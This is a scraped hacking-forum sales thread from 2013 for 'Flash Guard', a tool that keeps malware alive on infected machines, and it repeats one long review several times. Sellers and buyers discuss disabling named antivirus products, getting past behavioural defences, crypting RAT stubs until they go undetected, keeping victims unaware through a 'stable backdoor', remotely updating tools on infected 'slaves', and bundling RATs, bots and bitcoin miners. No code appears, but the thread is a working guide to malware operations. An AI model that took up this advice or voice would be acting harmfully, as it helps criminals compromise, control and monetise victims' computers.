- d) Avast! 8 detects this program and terminates/removes before it is able to do anything useful. While it DOES actually disable Avast!, this is only AFTER I added an exception to ignore behavioral detections for the process itself. So basically it's useless as it cannot do its job without Avast catching it in the act before it gets started
- e) Trend Micro - Behavioral analysis blocked the file from ever really doing anything long before it was able to even try to kill it. I have no idea if it actually can kill it should it be able to bypass proactive defenses.
- f) McAfee Total Protection - Runs fine, but does not disable any part of McAfee solution
- g) AVG Internet Security - Runs fine, But AVG is NOT disabled. Yes, the windows are completely fucked up, but it still scans files fine and is able to update its definitions. Also, in the process of attempting to disable AVG, it triggers (oddly) a virus alert on c:\windows\system32\cmd.exe, which would definitely rile the owner of the PC up.

--

I didn't test any other features except the Process persistence, which when either the Flash Guard process or the actual target file process was ended, NEITHER was restarted - Should have been, but was not. Big bug since this is basically one of the major functions of your product.

--

My conclusion is that your method is basically only functional against 1 antivirus as far as I can tell, which is Avast! - Which flash guard is not able to bypass and thus cannot run either way.

You need to test your product against each of these avs man. It isn't effective really and ALOT of HIPS catches this before it is able to get a foothold. This is a BIG deal because if it cannot install and gets caught red handed, how is it useful? It would essentially have bad execution rates. On the AV killer, while I find it funny that method actually was able to be applied to some of those solutions, it isn't actually effective against really any of them except one or two. I didn't test the lesser known AVs but I imagine it would cripple a few of them. However they are on so few computers it doesn't matter. What matters is: Norton, ESET, McAfee, AVG, Avira, Avast and KAV/KIS.

Lastly, you frequently state that "it should work", "as far as I know" or "I can't/won't test all of <x> because it's too time consuming" - Well you NEED to do these tests. I just did some decent tests for you and revealed that basically your AV killer and proactive bypasses don't really work much on the few AVs it absolutely needs to work against. There is nothing wrong with a product that admits it needs testing or work, but to say "it should work" isn't right. You need to do proper testing before releasing. When I update my bot, it usually takes me forever to get the update out but that is because I do a lot of testing - However annoying it is..

Anyways man, I like your spirit and you're a nice guy so I'm just saying you need to do a lot more testing and you need to re-evaluate how you try to disable the antiviruses because what you are

doing right now is not effective. Also, focus on bypassing HIPS. Make that your #1 priority. As it stands now quite a number of AVs block it before it can do anything beneficial.

GL.

Six Below - August 8, 2013, 7:28 pm

(Aug 8, 2013 06:47 PM)betamonkey Wrote: [\[CITE\]](#) Hi,

I checked this out. There are some rather large issues you need to work out mate. I think you're a nice guy and such so please don't take all this the wrong way.

1. AV Killer:

- a) Avira Internet Security - "sort of" crippled, but the on-demand scanner (and I think background scanner as well) are still 100% functional. The updater component is as well. In order for your disabler to have any real useful effect, at least one of those needs to get crippled.
- b) ESET Smart Security 6, while I did not see mentioned, is not disabled by this method (Funny though I never thought this method you used would work on ANY of these)
- c) Norton Internet Security - Norton is completely unaffected by this in my tests, and in fact, Norton IS SONAR caught the file doing suspicious things before it was even able to properly run/install.. So the process was terminated and basically it failed
- d) Avast! 8 detects this program and terminates/removes before it is able to do anything useful. While it DOES actually disable Avast!, this is only AFTER I added an exception to ignore behavioral detections for the process itself. So basically it's useless as it cannot do its job without Avast catching it in the act before it gets started
- e) Trend Micro - Behavioral analysis blocked the file from ever really doing anything long before it was able to even try to kill it. I have no idea if it actually can kill it should it be able to bypass proactive defenses.
- f) McAfee Total Protection - Runs fine, but does not disable any part of McAfee solution
- g) AVG Internet Security - Runs fine, But AVG is NOT disabled. Yes, the windows are completely fucked up, but it still scans files fine and is able to update its definitions. Also, in the process of attempting to disable AVG, it triggers (oddly) a virus alert on c:\windows\system32\cmd.exe, which would definitely rile the owner of the PC up.

--

I didn't test any other features except the Process persistence, which when either the Flash Guard process or the actual target file process was ended, NEITHER was restarted - Should have been, but was not. Big bug since this is basically one of the major functions of your product.

--

My conclusion is that your method is basically only functional against 1 antivirus as far as I can tell, which is Avast! - Which flash guard is not able to bypass and thus cannot run either way.

You need to test your product against each of these avs man. It isn't effective really and ALOT of HIPS catches this before it is able to get a foothold. This is a BIG deal because if it cannot install and gets caught red handed, how is it useful? It would essentially have bad execution rates. On the AV killer, while I find it funny that method actually was able to be applied to some of those solutions, it isn't actually effective against really any of them except one or two. I didn't test the lesser known AVs but I imagine it would cripple a few of them. However they are on so few computers it doesn't matter. What matters is: Norton, ESET, McAfee, AVG, Avira, Avast and KAV/KIS.

Lastly, you frequently state that "it should work", "as far as I know" or "I can't/won't test all of <x> because it's too time consuming" - Well you NEED to do these tests. I just did some decent tests for you and revealed that basically your AV killer and proactive bypasses don't really work much on the

few AVs it absolutely needs to work against. There is nothing wrong with a product that admits it needs testing or work, but to say "it should work" isn't right. You need to do proper testing before releasing. When I update my bot, it usually takes me forever to get the update out but that is because I do a lot of testing - However annoying it is..

Anyways man, I like your spirit and you're a nice guy so I'm just saying you need to do a lot more testing and you need to re-evaluate how you try to disable the antiviruses because what you are doing right now is not effective. Also, focus on bypassing HIPS. Make that your #1 priority. As it stands now quite a number of AVs block it before it can do anything beneficial.

GL.

I'm going to wait for the developer to get back to you on the above statements. I believe he is away for the next hour or two. I'm sure he will respond when he gets back.

Tutelary - August 8, 2013, 7:31 pm

(Aug 8, 2013 06:47 PM)betamonkey Wrote: [CITE](#) Hi,

I checked this out. There are some rather large issues you need to work out mate. I think you're a nice guy and such so please don't take all this the wrong way.

1. AV Killer:

a) Avira Internet Security - "sort of" crippled, but the on-demand scanner (and I think background scanner as well) are still 100% functional. The updater component is as well. In order for your disabler to have any real useful effect, at least one of those needs to get crippled.

b) ESET Smart Security 6, while I did not see mentioned, is not disabled by this method (Funny though I never thought this method you used would work on ANY of these)

c) Norton Internet Security - Norton is completely unaffected by this in my tests, and in fact, Norton IS SONAR caught the file doing suspicious things before it was even able to properly run/install.. So the process was terminated and basically it failed

d) Avast! 8 detects this program and terminates/removes before it is able to do anything useful. While it DOES actually disable Avast!, this is only AFTER I added an exception to ignore behavioral detections for the process itself. So basically it's useless as it cannot do its job without Avast catching it in the act before it gets started

e) Trend Micro - Behavioral analysis blocked the file from ever really doing anything long before it was able to even try to kill it. I have no idea if it actually can kill it should it be able to bypass proactive defenses.

f) McAfee Total Protection - Runs fine, but does not disable any part of McAfee solution

g) AVG Internet Security - Runs fine, But AVG is NOT disabled. Yes, the windows are completely fucked up, but it still scans files fine and is able to update its definitions. Also, in the process of attempting to disable AVG, it triggers (oddly) a virus alert on c:\windows\system32\cmd.exe, which would definitely rile the owner of the PC up.

--

I didn't test any other features except the Process persistence, which when either the Flash Guard process or the actual target file process was ended, NEITHER was restarted - Should have been, but was not. Big bug since this is basically one of the major functions of your product.

--

My conclusion is that your method is basically only functional against 1 antivirus as far as I can tell, which is Avast! - Which flash guard is not able to bypass and thus cannot run either way.

You need to test your product against each of these avs man. It isn't effective really and ALOT of HIPS catches this before it is able to get a foothold. This is a BIG deal because if it cannot install

and gets caught red handed, how is it useful? It would essentially have bad execution rates. On the AV killer, while I find it funny that method actually was able to be applied to some of those solutions, it isn't actually effective against really any of them except one or two. I didn't test the lesser known AVs but I imagine it would cripple a few of them. However they are on so few computers it doesn't matter. What matters is: Norton, ESET, McAfee, AVG, Avira, Avast and KAV/KIS.

Lastly, you frequently state that "it should work", "as far as I know" or "I can't/won't test all of <x> because it's too time consuming" - Well you NEED to do these tests. I just did some decent tests for you and revealed that basically your AV killer and proactive bypasses don't really work much on the few AVs it absolutely needs to work against. There is nothing wrong with a product that admits it needs testing or work, but to say "it should work" isn't right. You need to do proper testing before releasing. When I update my bot, it usually takes me forever to get the update out but that is because I do a lot of testing - However annoying it is..

Anyways man, I like your spirit and you're a nice guy so I'm just saying you need to do a lot more testing and you need to re-evaluate how you try to disable the antiviruses because what you are doing right now is not effective. Also, focus on bypassing HIPS. Make that your #1 priority. As it stands now quite a number of AVs block it before it can do anything beneficial.

GL.

This is how everyone should do constructive criticism. In complete sentences outlining the problems directly. Nice.

jontaon - August 8, 2013, 10:10 pm

(Aug 8, 2013 06:47 PM)betamonkey Wrote: [CITE](#) Hi,

I checked this out. There are some rather large issues you need to work out mate. I think you're a nice guy and such so please don't take all this the wrong way.

1. AV Killer:

- a) Avira Internet Security - "sort of" crippled, but the on-demand scanner (and I think background scanner as well) are still 100% functional. The updater component is as well. In order for your disabler to have any real useful effect, at least one of those needs to get crippled.
- b) ESET Smart Security 6, while I did not see mentioned, is not disabled by this method (Funny though I never thought this method you used would work on ANY of these)
- c) Norton Internet Security - Norton is completely unaffected by this in my tests, and in fact, Norton IS SONAR caught the file doing suspicious things before it was even able to properly run/install.. So the process was terminated and basically it failed
- d) Avast! 8 detects this program and terminates/removes before it is able to do anything useful. While it DOES actually disable Avast!, this is only AFTER I added an exception to ignore behavioral detections for the process itself. So basically it's useless as it cannot do its job without Avast catching it in the act before it gets started
- e) Trend Micro - Behavioral analysis blocked the file from ever really doing anything long before it was able to even try to kill it. I have no idea if it actually can kill it should it be able to bypass proactive defenses.
- f) McAfee Total Protection - Runs fine, but does not disable any part of McAfee solution
- g) AVG Internet Security - Runs fine, But AVG is NOT disabled. Yes, the windows are completely fucked up, but it still scans files fine and is able to update its definitions. Also, in the process of attempting to disable AVG, it triggers (oddly) a virus alert on c:\windows\system32\cmd.exe, which would definitely rile the owner of the PC up.

--

I didn't test any other features except the Process persistence, which when either the Flash Guard

process or the actual target file process was ended, NEITHER was restarted - Should have been, but was not. Big bug since this is basically one of the major functions of your product.

--

My conclusion is that your method is basically only functional against 1 antivirus as far as I can tell, which is Avast! - Which flash guard is not able to bypass and thus cannot run either way.

You need to test your product against each of these avs man. It isn't effective really and ALOT of HIPS catches this before it is able to get a foothold. This is a BIG deal because if it cannot install and gets caught red handed, how is it useful? It would essentially have bad execution rates. On the AV killer, while I find it funny that method actually was able to be applied to some of those solutions, it isn't actually effective against really any of them except one or two. I didn't test the lesser known AVs but I imagine it would cripple a few of them. However they are on so few computers it doesn't matter. What matters is: Norton, ESET, McAfee, AVG, Avira, Avast and KAV/KIS.

Lastly, you frequently state that "it should work", "as far as I know" or "I can't/won't test all of <x> because it's too time consuming" - Well you NEED to do these tests. I just did some decent tests for you and revealed that basically your AV killer and proactive bypasses don't really work much on the few AVs it absolutely needs to work against. There is nothing wrong with a product that admits it needs testing or work, but to say "it should work" isn't right. You need to do proper testing before releasing. When I update my bot, it usually takes me forever to get the update out but that is because I do a lot of testing - However annoying it is..

Anyways man, I like your spirit and you're a nice guy so I'm just saying you need to do a lot more testing and you need to re-evaluate how you try to disable the antiviruses because what you are doing right now is not effective. Also, focus on bypassing HIPS. Make that your #1 priority. As it stands now quite a number of AVs block it before it can do anything beneficial.

GL.

Its a good conclusion. The coder trying to develop a great and very useful tool. Lets give him a opinions to make it better and usable. I like his honesty and spirit. Good luck coder.

Six Below - August 8, 2013, 10:12 pm

(Aug 8, 2013 10:10 PM)jontaon Wrote: [\[CITE\]](#) Its a good conclusion. The coder trying to develop a great and very useful tool. Lets give him a opinions to make it better and usable. I like his honesty and spirit. Good luck coder.

Thanks for your kind words, the coder, "KFC Watermelon" is AFK for a bit. Should be responding with an answer sometime soon. Thanks again.

KFC Watermelon - August 9, 2013, 5:04 am

Hi there beta -

First and foremost, I'm not going to quote your entire post here - this thread has a big enough wall of text already.

EDIT: Mind telling me the environment you used for doing these tests? Would like to know OS and bit version. Thank you.

I thank you for your feedback and I'm working to greatly improve the AV killer. As I've stated before, it's not at it's fullest potential and needs improvement.

Right now, I'm working on improving the AV Killer. To test, I installed a new version of Avira free Antivirus, updated it, and ran my AV Killer while Avira's real-time guard was on.

Here are my results:

Test machine: Windows 7, 32-bit, Virtualbox

After a reboot, Avira seems to not function at all, the real-time simply does not below

Here is a picture I took of Avira not responding when I tried to re-enable the real-time protection, and a picture of non-crypted VERY detected malware running (to show the real-time is not working)

Spoiler ([Click to View](#))

As for Avast, what happened on my test machine is that, when I ran Flash Guard, Avast did its "sandbox", found it malicious, and removed it. However, by the time it removed it, it was already in system32 and the Sandbox was a complete failure. What the hell is the point of a Sandbox if you let the program copy to other locations and get out of the sandbox? Good job, Avast. After a reboot, of course, Avast was completely disabled.

I will continue today to work on improving the AV killer. Right now I'm working on killing AVG all together.

Again, I greatly appreciate your constructive feedback.

Have a great day!

ezeeprofit - August 9, 2013, 6:13 am

Great review and really good testing i wish more products on hf went through complete testing like this.

Will consider buying when these issues are improved

Cheers Beta and good luck to op i will subscribe to see further i

Prestigio - August 9, 2013, 6:36 am

Please video with kaspersky kill please

betamonkey - August 9, 2013, 10:38 am

@KFC: Windows 7 SP1 (x86 - VMWorkstation) was the tested. On my machine, Avast! caught the file before it was able to to do anything.. So if it worked on your machine then it might be a time-sensitive operation with 50/50 chance of working, or something like that. Either way that still needs work. When you factor in the large number of PCs this will touch over the course of its lifetime, those odds add up. With Avira, I was saying that its on-demand scanner worked on my machine, as well as the updater, and that I wasn't entirely sure about the background scanner (Active file system scanning). It did lock up like your screenshot showed but as I stated, some things still worked.

Farreg - August 9, 2013, 10:41 am

Your Anti-Botkill can kill your Botkill?

Good luck and this is a good product !

KFC Watermelon - August 9, 2013, 12:03 pm

(Aug 9, 2013 10:41 AM)Farreg Wrote: [CITE](#) Your Anti-Botkill can kill your Botkill?

Good luck and this is a good product !
Sorry, what do you mean?

The Bot Killer in Flash Guard will ignore Flash Guard and your files, of course.

(Aug 9, 2013 10:38 AM)betamonkey Wrote: [\[CITE\]](#) @KFC: Windows 7 SP1 (x86 - VMWorkstation) was the tested. On my machine, Avast! caught the file before it was able to do anything.. So if it worked on your machine then it might be a time-sensitive operation with 50/50 chance of working, or something like that. Either way that still needs work. When you factor in the large number of PCs this will touch over the course of its lifetime, those odds add up. With Avira, I was saying that its on-demand scanner worked on my machine, as well as the updater, and that I wasn't entirely sure about the background scanner (Active file system scanning). It did lock up like your screenshot showed but as I stated, some things still worked.

It may have to do with timing. I usually give my VMs 2 4.5ghz threads and they're all on a SSD, so it could had copied to system32 and ran faster on mine than yours.

As for avira, I tried it again and it seemed to of disabled everything again. I threw the AV killer in its own project so Avira wouldn't detect it, ran it as admin on my VM with Avira on and updated, ran the AV killer, rebooted, Avira wouldn't start again. The file I ran to show you was very detected so Avira's real-time should had got it.

I'll continue to work on the AV killer, though, it has potential but it isn't the easiest thing to do obviously.

(Aug 9, 2013 06:36 AM)Neanderthal Wrote: [\[CITE\]](#) Please video with kaspersky kill please
As far as I'm aware, Flash Guard is not capable of disabling Kaspersky, only Avira/Avast/Malwarebytes and somewhat AVG.

betamonkey - August 9, 2013, 12:13 pm

Cool beans. I would just make sure you devote a decent amount of time into proactive bypasses. Like I said you triggered quite a few of them, and it's important that you don't since it'll just remove your files and that'll be that. These ones are important to test on:

1. KAV/KIS
2. Norton IS
3. AVG
4. Avira
5. Avast
6. Trend Micro
7. McAfee
8. BitDefender
9. ESET

When testing, use the "Internet Security" versions of the products as they will contain the same protections as the lower versions but also more.

Six Below - August 9, 2013, 1:03 pm

(Aug 9, 2013 12:13 PM)betamonkey Wrote: [\[CITE\]](#) Cool beans. I would just make sure you devote a decent amount of time into proactive bypasses. Like I said you triggered quite a few of them, and it's important that you don't since it'll just remove your files and that'll be that. These ones are important to test on:

1. KAV/KIS
2. Norton IS
3. AVG
4. Avira
5. Avast
6. Trend Micro
7. McAfee
8. BitDefender
9. ESET

When testing, use the "Internet Security" versions of the products as they will contain the same protections as the lower versions but also more.

This does not quite pertain to your question, but the new thread will be up featuring a lot of video/image proofs soon. These are somewhat hard to test/film and upload. Hard as in time consuming. We will be working to add these proofs soon. Until then, I assure everyone this product significantly improves the protection of your files, especially if you are using "unprotected" RAT stubs such as, but not limited to BlackShades products, and Dark Comet. Thank you, expect thread update soon.

KFC Watermelon - August 9, 2013, 3:09 pm

New thread design coming soon. Hopefully it's good ;)

Six Below - August 9, 2013, 3:59 pm

We will be adding videos/images to the proofs section once the new thread design is up. Thank you everyone.

Agent Raigar - August 9, 2013, 5:19 pm

Vouch for this thing. Does it's job well, thanks for the update too!

KFC Watermelon - August 9, 2013, 6:25 pm

(Aug 9, 2013 05:19 PM)Agent Raigar Wrote: [\[CITE\]](#) Vouch for this thing. Does it's job well, thanks for the update too!

Thank you for your feedback Agent. More updates will be released as time progresses.

jontaon - August 9, 2013, 10:57 pm

I have subscribe your thread and keep eye on your updates. This would be great products for this community.

@KFC my view of AVkiller does not have priority. Cos I'm saying this it will be more suspicious for pc owner that his pc got hacked. And he will try to fix AV again but when he couldn't next step will be reinstall OS, then game over.

What about the priority on persistence,botkiller and Guard files more effectively. Lets say AV to fuckoff and catch me if you can. Cos Flash Guard will give reborn to servers by downloading again. Regarding AVs lets ask crypters to take care (like cat and mouse game). That would be less suspicious for pc owner and he will never knows his pc got hacked (cos they really depends on AVS).

If I will be your customer I will never use AV killer as I don't want to loose the connection by get reinstall OS. Its call stable backdoor (less suspecious).

I wish you all the best to develop more than this level and will be your customer this week. Cheers.

betamonkey - August 9, 2013, 11:00 pm

(Aug 9, 2013 10:57 PM)jontaon Wrote: [\[CITE\]](#) I have subscribe your thread and keep eye on your updates. This would be great products for this community.

@KFC my view of AVkiller does not have priority. Cos I'm saying this it will be more suspicious for pc owner that his pc got hacked. And he will try to fix AV again but when he couldn't next step will be reinstall OS, then game over.

What about the priority on persistence,botkiller and Guard files more effectively. Lets say AV to fuckoff and catch me if you can. Cos Flash Guard will give reborn to servers by downloading again. Regarding AVs lets ask crypters to take care (like cat and mouse game). That would be less suspicious for pc owner and he will never knows his pc got hacked (cos they really depends on AVS).

If I will be your customer I will never use AV killer as I don't want to loose the connection by get reinstall OS. Its call stable backdoor (less suspecious).

I wish you all the best to develop more than this level and will be your customer this week. Cheers. Most users don't even notice the AV missing, and others won't go as far as reformatting. Obviously considering the 'scene' we are all in, we'd take a disabled AV seriously and go all out to fix it.. But most people are not like that. If they did notice, and tried to reinstall the AV, if that doesn't work they would give up. Just think of the people who are using the PCs. ALOT of people don't even know what regedit is.

jontaon - August 9, 2013, 11:27 pm

(Aug 9, 2013 11:00 PM)betamonkey Wrote: [\[CITE\]](#) Most users don't even notice the AV missing, and others won't go as far as reformatting. Obviously considering the 'scene' we are all in, we'd take a disabled AV seriously and go all out to fix it.. But most people are not like that. If they did notice, and tried to reinstall the AV, if that doesn't work they would give up. Just think of the people who are using the PCs. ALOT of people don't even know what regedit is.

Beta I'm not ignoring the AV killer. When we talking about majority, ramdom this will be truth. It depends on the purpose of using Flash Guard. When we talking about target hacking, AV killer will be more suspicious. And we should not forget we lived in 21th century which most of people knowledgeable in latest technology and they really care about the protection. As I said stable backdoor connection = less suspicious.

Not everything can be happen on one day. Like beta bot not made in one day. Updates and the experience will strong the product quality.

I like to give priorities to priority.

As my view of priorities for Flash Gurad

- Persistence of Flash Guard (Should not never get busted by AVs)
- Bot kille
- Guard the files more effectively
- HaVoc Real-Time Shield
- AV killer
- etc...

Thanks.

EDIT : What about the disable the AV updates without killing the AV?

KFC Watermelon - August 9, 2013, 11:46 pm

Eh, lets not debate AV killer vs no AV Kill. It's all up to personal preference, and it's optional, so there shouldn't be any issues.

As for disabling AV updates, it's possible, but that'd be a damn lot of hosts to block. Maybe you could wildcard, but still.

betamonkey - August 10, 2013, 12:14 am

Fair enough. However considering the goal of this tool is to keep the payload (files downloaded) safe, AV killing should be a bit higher priority as those are going to account for a hefty percentage of reasons for removal.

Six Below - August 10, 2013, 1:15 am

(Aug 10, 2013 12:14 AM)betamonkey Wrote: [\[CITE\]](#) Fair enough. However considering the goal of this tool is to keep the payload (files downloaded) safe, AV killing should be a bit higher priority as those are going to account for a hefty percentage of reasons for removal.

We are looking into AV killer updates. As for now, everything is working as stated in the thread. This tool will significantly improve the longevity of any non protected stub.

Earn Cash - August 10, 2013, 1:28 am

Oh man just bought never seen a product like this...This is the best botkiller and anti bot kill technology I ever seen....

A big vouch from me...

Thanks a lot dear...

IDCUMF - August 10, 2013, 1:29 am

Hello,

I might be bit confused. So should I crypt both my rat and Flash Guard stub?

Six Below - August 10, 2013, 1:31 am

(Aug 10, 2013 01:29 AM)IDCUMF Wrote: [\[CITE\]](#) Hello,

I might be bit confused. So should I crypt both my rat and Flash Guard stub?

It would not matter if you did it that way, however for size reasons, we recommend sending in your unencrypted RAT, then crypting after it has been Flash Guarded. Hope this answered your question.

Remember to disable start-ups and any other option before putting your RAT stub through the Flash Guard system. Thank you!

IDCUMF - August 10, 2013, 1:44 am

(Aug 10, 2013 01:31 AM)Six Below Wrote: [\[CITE\]](#) It would not matter if you did it that way, however for size reasons, we recommend sending in your unencrypted RAT, then crypting after it has been Flash Guarded. Hope this answered your question.

Remember to disable start-ups and any other option before putting your RAT stub through the Flash Guard system. Thank you!

Hello,

Please tell me if I shouldn't ask questions here.

So I leave my RAT unencrypted and instead crypt the Flash Guard stub. But what if I choose not to

disable the AV, then when Flash Guard downloads my RAT, AV will detect it right? Thanks.

Six Below - August 10, 2013, 1:49 am

(Aug 10, 2013 01:44 AM)IDCUMF Wrote: [\[CITE\]](#) Hello,

Please tell me if I shouldn't ask questions here.

So I leave my RAT unencrypted and instead crypt the Flash Guard stub. But what if I choose not to disable the AV, then when Flash Guard downloads my RAT, AV will detect it right? Thanks.

Feel free to ask all questions here, everyone else has ?

To get back to the point, if you chose to not disable AV's that is fine. Once you crypt your Flash Guarded stub, the crypting should do the job of getting by the AV's initially depending on it's detection rate.

For whatever reason, Netseal auto-buy seems to be down. (for all Netseal products). This probably is just temporarily, however, if you get an error while tempting to use auto-checkout, please contact me and I can take the payment manually.

jontaon - August 10, 2013, 8:15 am

[] Is there any option for update Flash Guard stub (installed one) ? It has be crypted so it will not stay longer with AVs (while AV killer works 100%).

[] How do we know whether Flash Guard stay active or killed by AV?

[] As File Guard protecting files, Is there any backup plan for protect File Guard?

Appreciate.

RapGod - August 10, 2013, 9:12 am

Vouch for my man Six Below! Talked to him on Skype before, very friendly and a legit seller. Good luck with sales my friend!

Might be buying this soon!

KFC Watermelon - August 10, 2013, 9:47 am

I'm having company today so I won't be on much.

(Aug 10, 2013 08:15 AM)jontaon Wrote: [\[CITE\]](#) [] Is there any option for update Flash Guard stub (installed one) ? It has be crypted so it will not stay longer with AVs (while AV killer works 100%).

[] How do we know whether Flash Guard stay active or killed by AV?

[] As File Guard protecting files, Is there any backup plan for protect File Guard?

Appreciate.

1. Not that I know of. It's currently 2/36 UD I believe.

2. I've had quite a few PCs on my RAT for at least 4 days now with NOD32, Kaspersky, and Norton. They're bought bots and they haven't disappeared. Although the RAT was crypted with a piece of shit crypter, bad infection rate.

3. Not at this time.

Flash Guard would work better as a bot itself. I'm just messing around with an IRC bot right now

with Flash Guard's features. I may give a free copy to Flash Guard customers. Needs some work though.

(Aug 10, 2013 01:29 AM)IDCUMF Wrote: [\[CITE\]](#) Hello,

I might be bit confused. So should I crypt both my rat and Flash Guard stub?
Yes.

What Six Below is telling you is incorrect.

Six Below - August 10, 2013, 3:35 pm

(Aug 10, 2013 09:47 AM)KFC Watermelon Wrote: [\[CITE\]](#) I'm having company today so I won't be on much.

1. Not that I know of. It's currently 2/36 UD I believe.

2. I've had quite a few PCs on my RAT for at least 4 days now with NOD32, Kaspersky, and Norton. They're bought bots and they haven't disappeared. Although the RAT was crypted with a piece of shit crypter, bad infection rate.

3. Not at this time.

Flash Guard would work better as a bot itself. I'm just messing around with an IRC bot right now with Flash Guard's features. I may give a free copy to Flash Guard customers. Needs some work though.

Yes.

What Six Below is telling you is incorrect.

Sorry if I misinformed you "IDCUMF". However, after talking to you on Skype for a while last night, I'm pretty sure we got things figured out. I MSG'd "KFC Watermelon" a just a second ago, asking what the proper answer should of been. Waiting for response now. I am just a bit confused seeing as crypting any file FUD before enter Flash Guard will only bring it back to 3/35 after it is Flash Guarded, needing yet another crypt to once again make it FUD. So I am confused on why you would waste the time crypting prior. I am sure "KFC Watermelon" will have a better answer once back online. Thank you, and sorry for any trouble I may have caused.

Note: Got it figured out. Crypt for file both before and after the Flash Guard process. Thank you.

Rogerbot - August 10, 2013, 3:45 pm

How would we update Flash Guard to a new version on slaves?

Katrina Kaif - August 10, 2013, 7:39 pm

Really useful one for which botnet/rat doesn't have antibotkill related futures :) hope you get some sales :)

Soccer - August 10, 2013, 7:50 pm

Mega Vouch for Six Below...

Another amazing product.

GLWS.

Six Below - August 10, 2013, 8:47 pm

(Aug 10, 2013 03:45 PM)HFBot Wrote: [\[CITE\]](#) How would we update Flash Guard to a new version on slaves?

Upload to a hosting site that allows updating of the specific URL. IE: Dropbox

(Aug 10, 2013 07:39 PM)Katrina Kaif Wrote: [\[CITE\]](#) Really useful one for which botnet/rat doesn't have antibotkill related futures :) hope you get some sales :)

Thank you for your kind words. Yes, this application was designed for all files, however users who utilize RATs, such as Black Shades or Dark Comet which offer little to no protection will really find this application beneficial.

Trapcode - August 10, 2013, 9:11 pm

Vouch for six below, He is legit as fuck and knows his stuff.

jontaon - August 10, 2013, 11:40 pm

Hi Six Below, there few things figure out before buy.

As per "KFC Watermelon" by PM, If we use botnet along with FG has to disable botkiller in FG. So lets say we want to use bot and RAT along with FG. Then we should have to disable botkiller in order to use bot. Then what happens to RAT? It will bot killed by our bot's inbuild bot killer or infected botkiller.

Is that means using bot along with FG doesnt have any impact?

I'm sure this is perfect with RATs.

If I'm wrong, please give a sample settings for FG using RAT and bot.

Thanks.

Six Below - August 11, 2013, 5:21 am

(Aug 10, 2013 11:40 PM)jontaon Wrote: [\[CITE\]](#) Hi Six Below, there few things figure out before buy.

As per "KFC Watermelon" by PM, If we use botnet along with FG has to disable botkiller in FG. So lets say we want to use bot and RAT along with FG. Then we should have to disable botkiller in order to use bot. Then what happens to RAT? It will bot killed by our bot's inbuild bot killer or infected botkiller.

Is that means using bot along with FG doesnt have any impact?

I'm sure this is perfect with RATs.

If I'm wrong, please give a sample settings for FG using RAT and bot.

Thanks.

Thank you for your well written question. Also, sorry for the delayed response. I will allow "KFC Watermelon" to respond in depth when he is online, but the term botkiller refers to kill all types of malware such as, but not limited to bots, rats, miners, and much more. You can set Flash Guard, and it's botkiller option to ignore any malicious file you decide to place on the host PC. IE: Botkiller would ignore both your RAT, and your Bot. I hope this answered your question. Thank you!

NOTE: If "KFC Watermelon" gives you additional or contradicting information in his PM, please take his word. He is more knowledgeable then me on many topics related to Flash Guard. Thanks again!

jontaon - August 11, 2013, 9:32 am

Thanks for the reply "Six Below". Please discuss with coder and kind to make a video with new updates which shows how to use accurately (bot,RAT along with FG). I'm willing buy either this moment.

My suggestion is there should be unique FG uninstaller or updater in order to make changes. Cos its a very powerful tool. Some wrong settings can make totally pc untouchable by remotely as botkiller and File Guard system will be very powerful. Sometimes its work like anti virus guard. Please consider my request. Thanks.

KFC Watermelon - August 11, 2013, 3:55 pm

(Aug 11, 2013 09:32 AM)jontaon Wrote: [\[CITE\]](#) Thanks for the reply "Six Below". Please discuss with coder and kind to make a video with new updates which shows how to use accurately (bot,RAT along with FG). I'm willing buy either this moment.

My suggestion is there should be unique FG uninstaller or updater in order to make changes. Cos its a very powerful tool. Some wrong settings can make totally pc untouchable by remotely as botkiller and File Guard system will be very powerful. Sometimes its work like anti virus guard. Please consider my request. Thanks.

I believe that in a future update, I'm going to add the option to remotely control Flash Guard, ie: Download and Execute a file, Update Flash Guard with a new bin, and more (give me suggestions.) It will get commands in plaintext or something.

Six Below - August 11, 2013, 4:38 pm

Exciting news coming in the following weeks. I hope everyone is still enjoying Flash Guard!

Soccer - August 11, 2013, 5:30 pm

I wanted to know.

Will this be compatible with a Bitcoin miner? If so is it .NET?

KFC Watermelon - August 11, 2013, 5:37 pm

(Aug 11, 2013 05:30 PM)Soccer Wrote: [\[CITE\]](#) I wanted to know.

Will this be compatible with a Bitcoin miner? If so is it .NET?

1. As long as your bitcoin miner does not copy itself somewhere else or add it to startup, it'll be perfectly fine. I usually suggest having Flash Guard Guard a BC miner along with other files, maybe a RAT or a bot.

2. It is indeed .NET

Six Below - August 11, 2013, 10:30 pm

Online now answering all questions and working on a few Flash Factions related products. MSG me if you need anything.

Gage8910 - August 11, 2013, 10:33 pm

Is this like a crypter or what? I am kinda clueless.

Six Below - August 11, 2013, 10:36 pm

(Aug 11, 2013 10:33 PM)Gage8910 Wrote: [\[CITE\]](#) Is this like a crypter or what? I am kinda clueless.

No, not like a crypter at all. This protected or "guards" for files from botkillers, AV's, and anything else that could possibly hard the longevity of your executable file. In addition, it attacks other malware using the botkill function. The whole goal of Flash Guard is to significantly increase your executables' longevity.

Gage8910 - August 11, 2013, 11:05 pm

(Aug 11, 2013 10:36 PM)Six Below Wrote: [\[CITE\]](#) No, not like a crypter at all. This protected or "guards" for files from botkillers, AV's, and anything else that could possibly hard the longevity of your executable file. In addition, it attacks other malware using the botkill function. The whole goal of Flash Guard is to significantly increase your executables' longevity.so, would I crypt my file, than use flash guard?.

Six Below - August 11, 2013, 11:06 pm

(Aug 11, 2013 11:05 PM)Gage8910 Wrote: [\[CITE\]](#) so, would I crypt my file, than use flash guard?. Crypt your file, run it though Flash Guard, then proceed to crypt your Flash Guarded file if you would like.

Hope this helped. Thank you!

Gage8910 - August 11, 2013, 11:44 pm

(Aug 11, 2013 11:06 PM)Six Below Wrote: [\[CITE\]](#) Crypt your file, run it though Flash Guard, then proceed to crypt your Flash Guarded file if you would like.

Hope this helped. Thank you!Ok, Also may I ask, What is flash bot, Is it like a botnet client? Or manager?

Six Below - August 12, 2013, 1:49 am

(Aug 11, 2013 11:44 PM)Gage8910 Wrote: [\[CITE\]](#) Ok, Also may I ask, What is flash bot, Is it like a botnet client? Or manager?

This thread is for Flash Guard related questions, I will answer the above question, but if you have any other Flash Bot related questions please PM me.

Answer: Flash Bot is both an IRC Bot, and an optional client that is used to control the IRC with ease if hosted on our host. Thank you.

Am heading to bed now. Will be up and answering all questions first thing in the morning. Thank you!

jontaon - August 12, 2013, 8:58 am

Whats the current status of detection for Flash Guard bin? "KFC" ASAP need to find way to update FG (detection) or keep FUD for long time duration. Otherwise users doesn't know FG running or got busted by AV.

Gage8910 - August 12, 2013, 11:24 am

